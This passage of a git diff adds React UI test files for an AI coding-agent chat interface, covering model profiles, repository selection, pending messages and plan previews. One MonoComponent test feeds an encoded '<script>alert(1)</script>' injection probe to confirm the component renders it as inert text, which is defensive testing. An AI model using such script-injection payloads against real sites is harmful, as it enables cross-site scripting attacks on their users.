+ {
+ name: "haiku",
+ model: "anthropic/claude-haiku-4-5",
+ base_url: "https://llm.example.test",
+ api_key_set: true,
+ },
+ {
+ name: "gpt",
+ model: "openai/gpt-5.1",
+ base_url: null,
+ api_key_set: false,
+ },
+];
+
+describe("ModelMessages", () => {
+ beforeEach(() => {
+ const resources = {
+ MODEL$AVAILABLE_PROFILES: "Available profiles ({{count}})",
+ MODEL$NO_SAVED_PROFILES: "No saved profiles",
+ MODEL$NO_PROFILES_HINT:
+ "Use the LLM settings page to create a profile, then run /model to switch.",
+ MODEL$SWITCHED_TO_PROFILE: "ℹ️ Switched to profile {{name}} ",
+ };
+ i18n.addResourceBundle("en", "translation", resources, true, true);
+ i18n.addResourceBundle("en", "openhands", resources, true, true);
+ useModelStore.setState({ entriesByConversation: {} });
+ useFreeModelsStore.getState().setFlags({
+ freeModels: new Set(),
+ defaultModel: null,
+ });
+ });
+
+ it("renders only entries anchored to the requested event", async () => {
+ const user = userEvent.setup();
+ useModelStore.getState().show(CONVERSATION_ID, "event-1", [profiles[0]]);
+ useModelStore.getState().show(CONVERSATION_ID, "event-2", [profiles[1]]);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("model-messages")).toBeInTheDocument();
+ expect(screen.getByText("Available profiles (1)")).toBeInTheDocument();
+
+ await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" }));
+
+ const profileToggle = screen.getByRole("button", {
+ name: "Toggle details for haiku",
+ });
+ expect(profileToggle).toHaveAttribute("aria-expanded", "false");
+ expect(
+ screen.queryByRole("button", { name: "Toggle details for gpt" }),
+ ).not.toBeInTheDocument();
+
+ await user.click(profileToggle);
+ expect(profileToggle).toHaveAttribute("aria-expanded", "true");
+
+ expect(
+ screen.getByText(/model:\s+anthropic\/claude-haiku-4-5/),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText(/base_url:\s+https:\/\/llm\.example\.test/),
+ ).toBeInTheDocument();
+ expect(screen.getByText(/api_key:\s+set/)).toBeInTheDocument();
+ });
+
+ it("renders empty-profile hints expanded by default", () => {
+ useModelStore.getState().show(CONVERSATION_ID, null, []);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText("No saved profiles")).toBeInTheDocument();
+ expect(
+ screen.getByText(
+ "Use the LLM settings page to create a profile, then run /model to switch.",
+ ),
+ ).toBeInTheDocument();
+ });
+
+ it("renders switch confirmations for the matching anchor", () => {
+ useModelStore.getState().recordSwitch(CONVERSATION_ID, "event-1", "haiku");
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("model-messages")).toHaveTextContent(
+ "ℹ️ Switched to profile haiku",
+ );
+ });
+
+ it("labels a DB-flagged free OpenHands route in expanded profile diagnostics", async () => {
+ const user = userEvent.setup();
+ useFreeModelsStore.getState().setFlags({
+ freeModels: new Set(["openhands/glm-5.2"]),
+ defaultModel: "openhands/glm-5.2",
+ });
+ useModelStore.getState().show(CONVERSATION_ID, "event-1", [
+ {
+ name: "free",
+ model: "openhands/glm-5.2",
+ base_url: null,
+ api_key_set: true,
+ },
+ ]);
+
+ renderWithProviders(
+ ,
+ );
+
+ await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" }));
+ await user.click(
+ screen.getByRole("button", { name: "Toggle details for free" }),
+ );
+
+ expect(
+ screen.getByText(/model:\s+openhands\/glm-5\.2 \(free\)/),
+ ).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/chat/mono-component.test.tsx b/__tests__/components/features/chat/mono-component.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..94be3502c02c93e29e86573ec36e8ff5885a0f58
--- /dev/null
+++ b/__tests__/components/features/chat/mono-component.test.tsx
@@ -0,0 +1,77 @@
+import { render } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { MonoComponent } from "#/components/features/chat/mono-component";
+import EventLogger from "#/utils/event-logger";
+
+const getMonoElement = (container: HTMLElement): HTMLElement => {
+ const element = container.querySelector("strong");
+ if (!(element instanceof HTMLElement)) {
+ throw new Error("Expected MonoComponent to render a strong element");
+ }
+ return element;
+};
+
+afterEach(() => {
+ vi.restoreAllMocks();
+});
+
+describe("MonoComponent", () => {
+ it("decodes HTML entities as inert monospace text", () => {
+ const { container } = render(
+
+ Run & <script>alert(1)</script>
+ ,
+ );
+
+ const mono = getMonoElement(container);
+ expect(mono).toHaveClass("font-mono");
+ expect(mono.textContent).toBe("Run & ");
+ expect(container.querySelector("script")).not.toBeInTheDocument();
+ });
+
+ it("decodes string entries in mixed children while preserving other nodes", () => {
+ const children = ["A&B", " / ", nested , 7];
+ const { container } = render({children} );
+
+ const mono = getMonoElement(container);
+ expect(mono).toHaveClass("font-mono");
+ expect(mono.textContent).toBe("A&B / nested7");
+ expect(mono.querySelector("em")).toHaveTextContent("nested");
+ });
+
+ it("preserves a non-string child inside the monospace wrapper", () => {
+ const { container, getByTestId } = render(
+
+ unchanged
+ ,
+ );
+
+ const mono = getMonoElement(container);
+ const child = getByTestId("nested-child");
+ expect(mono).toHaveClass("font-mono");
+ expect(mono).toContainElement(child);
+ expect(child).toHaveTextContent("unchanged");
+ });
+
+ it("logs decoding failures and preserves the original string", () => {
+ const originalCreateElement = document.createElement.bind(document);
+ vi.spyOn(document, "createElement").mockImplementation(((
+ tagName: string,
+ options?: ElementCreationOptions,
+ ) => {
+ if (tagName === "textarea") {
+ throw new Error("decode failed");
+ }
+ return originalCreateElement(tagName, options);
+ }) as typeof document.createElement);
+ const error = vi.spyOn(EventLogger, "error").mockImplementation(() => {});
+
+ const { container } = render({"&"} );
+
+ const mono = getMonoElement(container);
+ expect(mono).toHaveClass("font-mono");
+ expect(mono.textContent).toBe("&");
+ expect(error).toHaveBeenCalledOnce();
+ expect(error).toHaveBeenCalledWith("Error: decode failed");
+ });
+});
diff --git a/__tests__/components/features/chat/open-repository-modal.test.tsx b/__tests__/components/features/chat/open-repository-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..3c08472c2b4d4bd3075adb8c747d4a2fdb3cda45
--- /dev/null
+++ b/__tests__/components/features/chat/open-repository-modal.test.tsx
@@ -0,0 +1,385 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { OpenRepositoryModal } from "#/components/features/chat/open-repository-modal";
+
+// Mock react-i18next
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string) => key,
+ }),
+}));
+
+// Mock useUserProviders - default to single provider (no dropdown shown)
+const mockProviders = vi.hoisted(() => ({
+ current: ["github"] as string[],
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+ useUserProviders: () => ({
+ providers: mockProviders.current,
+ isLoadingSettings: false,
+ }),
+}));
+
+// Mock GitProviderDropdown
+vi.mock(
+ "#/components/features/home/git-provider-dropdown/git-provider-dropdown",
+ () => ({
+ GitProviderDropdown: ({
+ providers,
+ onChange,
+ }: {
+ providers: string[];
+ onChange: (provider: string | null) => void;
+ }) => (
+
+ {providers.map((p: string) => (
+ onChange(p)}
+ >
+ {p}
+
+ ))}
+
+ ),
+ }),
+);
+
+// Mock GitRepoDropdown
+vi.mock(
+ "#/components/features/home/git-repo-dropdown/git-repo-dropdown",
+ () => ({
+ GitRepoDropdown: ({
+ onChange,
+ }: {
+ onChange: (repo?: {
+ id: number;
+ full_name: string;
+ git_provider: string;
+ main_branch: string;
+ }) => void;
+ }) => (
+
+ onChange({
+ id: 1,
+ full_name: "owner/repo",
+ git_provider: "github",
+ main_branch: "main",
+ })
+ }
+ >
+ Mock Repo Dropdown
+
+ ),
+ }),
+);
+
+// Mock GitBranchDropdown
+vi.mock(
+ "#/components/features/home/git-branch-dropdown/git-branch-dropdown",
+ () => ({
+ GitBranchDropdown: ({
+ onBranchSelect,
+ disabled,
+ }: {
+ onBranchSelect: (branch: { name: string } | null) => void;
+ disabled: boolean;
+ }) => (
+ onBranchSelect({ name: "main" })}
+ >
+ Mock Branch Dropdown
+
+ ),
+ }),
+);
+
+// Mock RepoForkedIcon
+describe("OpenRepositoryModal", () => {
+ const mockOnClose = vi.fn();
+ const mockOnLaunch = vi.fn();
+
+ beforeEach(() => {
+ vi.clearAllMocks();
+ mockProviders.current = ["github"];
+ });
+
+ it("should not render when isOpen is false", () => {
+ render(
+ ,
+ );
+
+ expect(
+ screen.queryByText("CONVERSATION$OPEN_REPOSITORY"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should render modal with title and description when open", () => {
+ render(
+ ,
+ );
+
+ expect(
+ screen.getByText("CONVERSATION$OPEN_REPOSITORY"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("close-open-repository-modal"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText("CONVERSATION$SELECT_OR_INSERT_LINK"),
+ ).toBeInTheDocument();
+ });
+
+ it("calls onClose when the header close button is clicked", async () => {
+ const user = userEvent.setup();
+ render(
+ ,
+ );
+
+ await user.click(screen.getByTestId("close-open-repository-modal"));
+
+ expect(mockOnClose).toHaveBeenCalledTimes(1);
+ });
+
+ it("should render Launch and Cancel buttons", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByText("BUTTON$LAUNCH")).toBeInTheDocument();
+ expect(screen.getByText("BUTTON$CANCEL")).toBeInTheDocument();
+ });
+
+ it("places Cancel before Launch in the footer so the dominant action is the last focusable button", () => {
+ // Arrange: render the modal so both footer buttons are mounted.
+ render(
+ ,
+ );
+
+ // Act: locate both footer buttons.
+ const cancel = screen.getByText("BUTTON$CANCEL");
+ const launch = screen.getByText("BUTTON$LAUNCH");
+
+ // Assert: Cancel precedes the dominant Launch action in DOM order.
+ // eslint-disable-next-line no-bitwise
+ expect(
+ cancel.compareDocumentPosition(launch) &
+ Node.DOCUMENT_POSITION_FOLLOWING,
+ ).toBeTruthy();
+ });
+
+ it("should disable Launch button when no repository or branch is selected", () => {
+ render(
+ ,
+ );
+
+ const launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+ expect(launchButton).toBeDisabled();
+ });
+
+ it("should call onClose and reset state when Cancel is clicked", async () => {
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ await user.click(screen.getByText("BUTTON$CANCEL"));
+ expect(mockOnClose).toHaveBeenCalledTimes(1);
+ });
+
+ it("should enable Launch button after selecting repository and branch", async () => {
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ // Select a repository
+ await user.click(screen.getByTestId("git-repo-dropdown"));
+
+ // Select a branch
+ await user.click(screen.getByTestId("git-branch-dropdown"));
+
+ const launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+ expect(launchButton).not.toBeDisabled();
+ });
+
+ it("should call onLaunch with selected repository and branch, then close", async () => {
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ // Select repository and branch
+ await user.click(screen.getByTestId("git-repo-dropdown"));
+ await user.click(screen.getByTestId("git-branch-dropdown"));
+
+ // Click Launch
+ await user.click(screen.getByText("BUTTON$LAUNCH"));
+
+ expect(mockOnLaunch).toHaveBeenCalledWith(
+ {
+ id: 1,
+ full_name: "owner/repo",
+ git_provider: "github",
+ main_branch: "main",
+ },
+ { name: "main" },
+ );
+ expect(mockOnClose).toHaveBeenCalledTimes(1);
+ });
+
+ it("should not call onLaunch when Launch is clicked without selections", async () => {
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ // Force click the launch button even though it's disabled
+ const launchButton = screen.getByText("BUTTON$LAUNCH").closest("button")!;
+ await user.click(launchButton);
+
+ expect(mockOnLaunch).not.toHaveBeenCalled();
+ });
+
+ it("should reset branch selection when repository changes", async () => {
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ // Select repository and branch
+ await user.click(screen.getByTestId("git-repo-dropdown"));
+ await user.click(screen.getByTestId("git-branch-dropdown"));
+
+ // Launch button should be enabled
+ let launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+ expect(launchButton).not.toBeDisabled();
+
+ // Select a new repository (resets branch)
+ await user.click(screen.getByTestId("git-repo-dropdown"));
+
+ // Launch button should be disabled again (branch was reset)
+ launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+ expect(launchButton).toBeDisabled();
+ });
+
+ describe("provider switching", () => {
+ it("should not show provider dropdown when only one provider exists", () => {
+ mockProviders.current = ["github"];
+
+ render(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("git-provider-dropdown"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should show provider dropdown when multiple providers exist", () => {
+ mockProviders.current = ["github", "gitlab"];
+
+ render(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("git-provider-dropdown"),
+ ).toBeInTheDocument();
+ expect(screen.getByTestId("provider-github")).toBeInTheDocument();
+ expect(screen.getByTestId("provider-gitlab")).toBeInTheDocument();
+ });
+
+ it("should reset repository and branch when provider changes", async () => {
+ mockProviders.current = ["github", "gitlab"];
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ // Select repo and branch
+ await user.click(screen.getByTestId("git-repo-dropdown"));
+ await user.click(screen.getByTestId("git-branch-dropdown"));
+
+ // Launch should be enabled
+ let launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+ expect(launchButton).not.toBeDisabled();
+
+ // Switch provider — should reset selections
+ await user.click(screen.getByTestId("provider-gitlab"));
+
+ // Launch should be disabled (repo and branch reset)
+ launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+ expect(launchButton).toBeDisabled();
+ });
+ });
+});
diff --git a/__tests__/components/features/chat/path-component.test.tsx b/__tests__/components/features/chat/path-component.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..3fe3411b08ef40e4e198f0b578f70bd392f7ffb2
--- /dev/null
+++ b/__tests__/components/features/chat/path-component.test.tsx
@@ -0,0 +1,65 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import {
+ isLikelyDirectory,
+ PathComponent,
+} from "#/components/features/chat/path-component";
+
+const openWorkspaceFile = vi.fn();
+
+vi.mock("#/services/canvas-ui", () => ({
+ openWorkspaceFile: (...args: unknown[]) => openWorkspaceFile(...args),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: "conv-1" }),
+}));
+
+describe("isLikelyDirectory", () => {
+ it("should return false for empty path", () => {
+ expect(isLikelyDirectory("")).toBe(false);
+ });
+
+ it("should return true for paths ending with forward slash", () => {
+ expect(isLikelyDirectory("/path/to/dir/")).toBe(true);
+ expect(isLikelyDirectory("dir/")).toBe(true);
+ });
+
+ it("should return true for paths ending with backslash", () => {
+ expect(isLikelyDirectory("C:\\path\\to\\dir\\")).toBe(true);
+ expect(isLikelyDirectory("dir\\")).toBe(true);
+ });
+
+ it("should return true for paths without extension", () => {
+ expect(isLikelyDirectory("/path/to/dir")).toBe(true);
+ expect(isLikelyDirectory("dir")).toBe(true);
+ });
+
+ it("should return false for paths ending with dot", () => {
+ expect(isLikelyDirectory("/path/to/dir.")).toBe(false);
+ expect(isLikelyDirectory("dir.")).toBe(false);
+ });
+
+ it("should return false for paths with file extensions", () => {
+ expect(isLikelyDirectory("/path/to/file.txt")).toBe(false);
+ expect(isLikelyDirectory("file.js")).toBe(false);
+ expect(isLikelyDirectory("script.test.ts")).toBe(false);
+ });
+});
+
+describe("PathComponent", () => {
+ beforeEach(() => {
+ openWorkspaceFile.mockClear();
+ });
+
+ it("opens the workspace file when the path is clicked", async () => {
+ const user = userEvent.setup();
+ const path = "docs/test.md";
+ render({path} );
+
+ await user.click(screen.getByTestId("path-component-link"));
+
+ expect(openWorkspaceFile).toHaveBeenCalledWith(path, "conv-1");
+ });
+});
diff --git a/__tests__/components/features/chat/pending-user-messages.test.tsx b/__tests__/components/features/chat/pending-user-messages.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8017e7d8168124e82871598213e676af0d897a36
--- /dev/null
+++ b/__tests__/components/features/chat/pending-user-messages.test.tsx
@@ -0,0 +1,219 @@
+import React from "react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { render, screen, waitFor, fireEvent } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { PendingUserMessages } from "#/components/features/chat/pending-user-messages";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import { useConversationStore } from "#/stores/conversation-store";
+
+const ACTIVE_CONVO = "conv-active";
+
+const mockSend = vi.fn();
+vi.mock("#/hooks/use-send-message", () => ({
+ useSendMessage: () => ({ send: mockSend }),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: ACTIVE_CONVO }),
+ useConversationId: () => ({ conversationId: ACTIVE_CONVO }),
+}));
+
+describe("PendingUserMessages", () => {
+ beforeEach(() => {
+ mockSend.mockReset();
+ useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+ useConversationStore.setState({
+ messageRestoreIfEmpty: null,
+ messageToSend: null,
+ });
+ });
+
+ afterEach(() => {
+ useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+ });
+
+ it("renders nothing when the queue is empty", () => {
+ const { container } = render( );
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("renders each queued message with the sending treatment", () => {
+ useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+ conversationId: ACTIVE_CONVO,
+ text: "first message",
+ });
+ useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+ conversationId: ACTIVE_CONVO,
+ text: "second message",
+ });
+
+ renderWithProviders( );
+
+ const messages = screen.getAllByTestId("user-message");
+ expect(messages).toHaveLength(2);
+ expect(messages[0]).toHaveTextContent("first message");
+ expect(messages[1]).toHaveTextContent("second message");
+ messages.forEach((message) => {
+ expect(message).toHaveAttribute("data-pending-status", "sending");
+ });
+ expect(screen.getAllByTestId("chat-message-sending")).toHaveLength(2);
+ });
+
+ it("ignores pending entries belonging to a different conversation", () => {
+ useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+ conversationId: ACTIVE_CONVO,
+ text: "mine",
+ });
+ useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+ conversationId: "other-convo",
+ text: "from another conversation",
+ });
+
+ renderWithProviders( );
+
+ const messages = screen.getAllByTestId("user-message");
+ expect(messages).toHaveLength(1);
+ expect(messages[0]).toHaveTextContent("mine");
+ expect(screen.queryByText("from another conversation")).toBeNull();
+ });
+
+ it("removes a sending message when stop is clicked", async () => {
+ useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+ conversationId: ACTIVE_CONVO,
+ text: "cancel me",
+ });
+
+ renderWithProviders( );
+
+ const message = screen.getByTestId("user-message");
+ fireEvent.mouseEnter(message);
+ await waitFor(() => {
+ expect(screen.getByTestId("chat-message-stop")).toBeVisible();
+ });
+ fireEvent.click(screen.getByTestId("chat-message-stop"));
+
+ await waitFor(() => {
+ expect(screen.queryByTestId("user-message")).not.toBeInTheDocument();
+ });
+ expect(useOptimisticUserMessageStore.getState().pendingMessages).toHaveLength(
+ 0,
+ );
+ expect(useConversationStore.getState().messageRestoreIfEmpty).toEqual(
+ expect.objectContaining({ text: "cancel me" }),
+ );
+ });
+
+ it("keeps the stop button out of the bubble layout while sending", () => {
+ useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+ conversationId: ACTIVE_CONVO,
+ text: "hold my spot",
+ });
+
+ renderWithProviders( );
+
+ expect(screen.getByTestId("chat-message-stop")).toHaveClass("opacity-0");
+ });
+
+ it("shows an error state with a retry link when the message is in 'error'", () => {
+ const id = useOptimisticUserMessageStore
+ .getState()
+ .enqueuePendingMessage({
+ conversationId: ACTIVE_CONVO,
+ text: "broken message",
+ });
+ useOptimisticUserMessageStore
+ .getState()
+ .markPendingMessageError(id, "Server unavailable");
+
+ renderWithProviders( );
+
+ const message = screen.getByTestId("user-message");
+ expect(message).toHaveAttribute("data-pending-status", "error");
+ expect(screen.getByTestId("chat-message-error")).toBeInTheDocument();
+ expect(screen.getByTestId("chat-message-retry")).toBeInTheDocument();
+ expect(screen.getByTestId("chat-message-dismiss")).toBeInTheDocument();
+ });
+
+ it("removes a failed message when dismiss is clicked", async () => {
+ const id = useOptimisticUserMessageStore
+ .getState()
+ .enqueuePendingMessage({
+ conversationId: ACTIVE_CONVO,
+ text: "dismiss me",
+ });
+ useOptimisticUserMessageStore
+ .getState()
+ .markPendingMessageError(id, "Server unavailable");
+
+ renderWithProviders( );
+
+ const user = userEvent.setup();
+ await user.click(screen.getByTestId("chat-message-dismiss"));
+
+ await waitFor(() => {
+ expect(screen.queryByTestId("user-message")).not.toBeInTheDocument();
+ });
+ expect(useOptimisticUserMessageStore.getState().pendingMessages).toHaveLength(
+ 0,
+ );
+ });
+
+ it("re-sends and flips back to 'sending' when retry is clicked", async () => {
+ mockSend.mockResolvedValueOnce({ queued: false });
+ const id = useOptimisticUserMessageStore
+ .getState()
+ .enqueuePendingMessage({
+ conversationId: ACTIVE_CONVO,
+ text: "retry me",
+ });
+ useOptimisticUserMessageStore
+ .getState()
+ .markPendingMessageError(id, "Server unavailable");
+
+ renderWithProviders( );
+
+ const user = userEvent.setup();
+ await user.click(screen.getByTestId("chat-message-retry"));
+
+ expect(mockSend).toHaveBeenCalledTimes(1);
+ expect(mockSend).toHaveBeenCalledWith(
+ expect.objectContaining({
+ action: "message",
+ args: expect.objectContaining({ content: "retry me" }),
+ }),
+ );
+
+ await waitFor(() => {
+ const [entry] =
+ useOptimisticUserMessageStore.getState().pendingMessages;
+ expect(entry.status).toBe("sending");
+ expect(entry.errorMessage).toBeUndefined();
+ });
+ });
+
+ it("flips back to 'error' if the retry attempt also fails", async () => {
+ mockSend.mockRejectedValueOnce(new Error("still broken"));
+ const id = useOptimisticUserMessageStore
+ .getState()
+ .enqueuePendingMessage({
+ conversationId: ACTIVE_CONVO,
+ text: "retry me",
+ });
+ useOptimisticUserMessageStore
+ .getState()
+ .markPendingMessageError(id, "Server unavailable");
+
+ renderWithProviders( );
+
+ const user = userEvent.setup();
+ await user.click(screen.getByTestId("chat-message-retry"));
+
+ await waitFor(() => {
+ const [entry] =
+ useOptimisticUserMessageStore.getState().pendingMessages;
+ expect(entry.status).toBe("error");
+ expect(entry.errorMessage).toBe("still broken");
+ });
+ });
+});
diff --git a/__tests__/components/features/chat/plan-preview.test.tsx b/__tests__/components/features/chat/plan-preview.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c48a09c48d0e11d77045f3cce0c839369e0db299
--- /dev/null
+++ b/__tests__/components/features/chat/plan-preview.test.tsx
@@ -0,0 +1,426 @@
+import React from "react";
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { PlanPreview } from "#/components/features/chat/plan-preview";
+import { ScrollProvider } from "#/context/scroll-context";
+import { useConversationStore } from "#/stores/conversation-store";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import { createChatMessage } from "#/services/chat-service";
+
+// PlanPreview uses useScrollContext; wrap with ScrollProvider and a mock value.
+const mockScrollDomToBottom = vi.fn();
+const scrollContextValue = {
+ scrollRef: { current: null },
+ autoScroll: true,
+ setAutoScroll: vi.fn(),
+ scrollDomToBottom: mockScrollDomToBottom,
+ hitBottom: true,
+ setHitBottom: vi.fn(),
+ onChatBodyScroll: vi.fn(),
+};
+
+function renderPlanPreview(ui: React.ReactElement) {
+ return renderWithProviders(
+ {ui} ,
+ );
+}
+
+// Mock i18n - need to preserve initReactI18next and I18nextProvider for test-utils
+vi.mock("react-i18next", async (importOriginal) => {
+ const actual = await importOriginal();
+ return {
+ ...actual,
+ useTranslation: () => ({
+ t: (key: string) => key,
+ }),
+ };
+});
+
+// Mock services (underlying dependencies of the hook)
+const mockSend = vi.fn().mockResolvedValue({ queued: false });
+
+vi.mock("#/hooks/use-send-message", () => ({
+ useSendMessage: vi.fn(() => ({
+ send: mockSend,
+ })),
+}));
+
+vi.mock("#/services/chat-service", () => ({
+ createChatMessage: vi.fn((content, imageUrls, fileUrls, timestamp) => ({
+ action: "message",
+ args: { content, image_urls: imageUrls, file_urls: fileUrls, timestamp },
+ })),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useConversationId: () => ({ conversationId: "test-conversation-id" }),
+ useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+}));
+
+describe("PlanPreview", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ mockSend.mockResolvedValue({ queued: false });
+ // Reset store states
+ localStorage.clear();
+ useOptimisticUserMessageStore.setState({
+ pendingMessages: [],
+ });
+ useConversationStore.setState({
+ conversationMode: "plan",
+ selectedTab: null,
+ isRightPanelShown: false,
+ hasRightPanelToggled: false,
+ });
+ });
+
+ afterEach(() => {
+ vi.clearAllMocks();
+ // Clean up store states
+ useConversationStore.setState({
+ conversationMode: "code",
+ });
+ useOptimisticUserMessageStore.setState({
+ pendingMessages: [],
+ });
+ localStorage.clear();
+ });
+
+ it("should render nothing when planContent is null", () => {
+ // Arrange & Act
+ const { container } = renderPlanPreview( );
+
+ // Assert
+ expect(container.firstChild).toBeNull();
+ });
+
+ it("should render nothing when planContent is undefined", () => {
+ // Arrange & Act
+ const { container } = renderPlanPreview(
+ ,
+ );
+
+ // Assert
+ expect(container.firstChild).toBeNull();
+ });
+
+ it("should render markdown content when planContent is provided", () => {
+ const planContent = "# Plan Title\n\nThis is the plan content.";
+
+ const { container } = renderPlanPreview(
+ ,
+ );
+
+ // Check that component rendered and contains the content (markdown may break up text)
+ expect(container.firstChild).not.toBeNull();
+ expect(container.textContent).toContain("Plan Title");
+ expect(container.textContent).toContain("This is the plan content.");
+ });
+
+ it("should render full content when length is less than or equal to 300 characters", () => {
+ const planContent = "A".repeat(300);
+
+ const { container } = renderPlanPreview(
+ ,
+ );
+
+ // Content should be present (may be broken up by markdown)
+ expect(container.textContent).toContain(planContent);
+ expect(screen.queryByText(/COMMON\$READ_MORE/i)).not.toBeInTheDocument();
+ });
+
+ it("should truncate content when length exceeds 300 characters", () => {
+ const longContent = "A".repeat(350);
+
+ const { container } = renderPlanPreview(
+ ,
+ );
+
+ // Truncated content should be present (may be broken up by markdown)
+ expect(container.textContent).toContain("A".repeat(300));
+ expect(container.textContent).toContain("...");
+ expect(container.textContent).toContain("COMMON$READ_MORE");
+ });
+
+ it("should render Build button", () => {
+ renderPlanPreview( );
+
+ const buildButton = screen.getByTestId("plan-preview-build-button");
+ expect(buildButton).toBeInTheDocument();
+ });
+
+ it("should switch to code mode when Build button is clicked", async () => {
+ // Arrange
+ useConversationStore.setState({ conversationMode: "plan" });
+ const user = userEvent.setup();
+ renderPlanPreview( );
+ const buildButton = screen.getByTestId("plan-preview-build-button");
+
+ // Act
+ await user.click(buildButton);
+
+ // Assert
+ expect(useConversationStore.getState().conversationMode).toBe("code");
+ });
+
+ it("should send build prompt message when Build button is clicked", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ const expectedPrompt =
+ "Execute the plan based on the .agents_tmp/PLAN.md file.";
+ renderPlanPreview( );
+ const buildButton = screen.getByTestId("plan-preview-build-button");
+
+ // Act
+ await user.click(buildButton);
+
+ // Assert
+ expect(createChatMessage).toHaveBeenCalledTimes(1);
+ expect(createChatMessage).toHaveBeenCalledWith(
+ expectedPrompt,
+ [],
+ [],
+ expect.any(String),
+ );
+ expect(mockSend).toHaveBeenCalledTimes(1);
+ expect(mockSend).toHaveBeenCalledWith(
+ expect.objectContaining({
+ action: "message",
+ args: expect.objectContaining({
+ content: expectedPrompt,
+ }),
+ }),
+ );
+ });
+
+ it("should enqueue a pending user message when Build button is clicked", async () => {
+ // Arrange
+ useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+ const user = userEvent.setup();
+ const expectedPrompt =
+ "Execute the plan based on the .agents_tmp/PLAN.md file.";
+ renderPlanPreview( );
+ const buildButton = screen.getByTestId("plan-preview-build-button");
+
+ // Act
+ await user.click(buildButton);
+
+ // Assert
+ const pending = useOptimisticUserMessageStore.getState().pendingMessages;
+ expect(pending).toHaveLength(1);
+ expect(pending[0].text).toBe(expectedPrompt);
+ expect(pending[0].status).toBe("sending");
+ });
+
+ it("should disable Build button when isBuildDisabled is true", () => {
+ // Arrange
+ renderPlanPreview(
+ ,
+ );
+
+ // Act
+ const buildButton = screen.getByTestId("plan-preview-build-button");
+
+ // Assert
+ expect(buildButton).toBeDisabled();
+ });
+
+ it("should not disable Build button when isBuildDisabled is false", () => {
+ // Arrange
+ renderPlanPreview(
+ ,
+ );
+
+ // Act
+ const buildButton = screen.getByTestId("plan-preview-build-button");
+
+ // Assert
+ expect(buildButton).not.toBeDisabled();
+ });
+
+ it("should not disable Build button when isBuildDisabled is undefined", () => {
+ // Arrange
+ renderPlanPreview( );
+
+ // Act
+ const buildButton = screen.getByTestId("plan-preview-build-button");
+
+ // Assert
+ expect(buildButton).not.toBeDisabled();
+ });
+
+ it("should not call onBuildClick when Build button is disabled and clicked", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ const onBuildClick = vi.fn();
+
+ renderPlanPreview(
+ ,
+ );
+
+ const buildButton = screen.getByTestId("plan-preview-build-button");
+
+ // Act
+ await user.click(buildButton);
+
+ // Assert
+ expect(onBuildClick).not.toHaveBeenCalled();
+ });
+
+ it("should render header with PLAN_MD text", () => {
+ const { container } = renderPlanPreview(
+ ,
+ );
+
+ // Check that the translation key is rendered (i18n mock returns the key)
+ expect(container.textContent).toContain("COMMON$PLAN_MD");
+ });
+
+ it("should render plan content", () => {
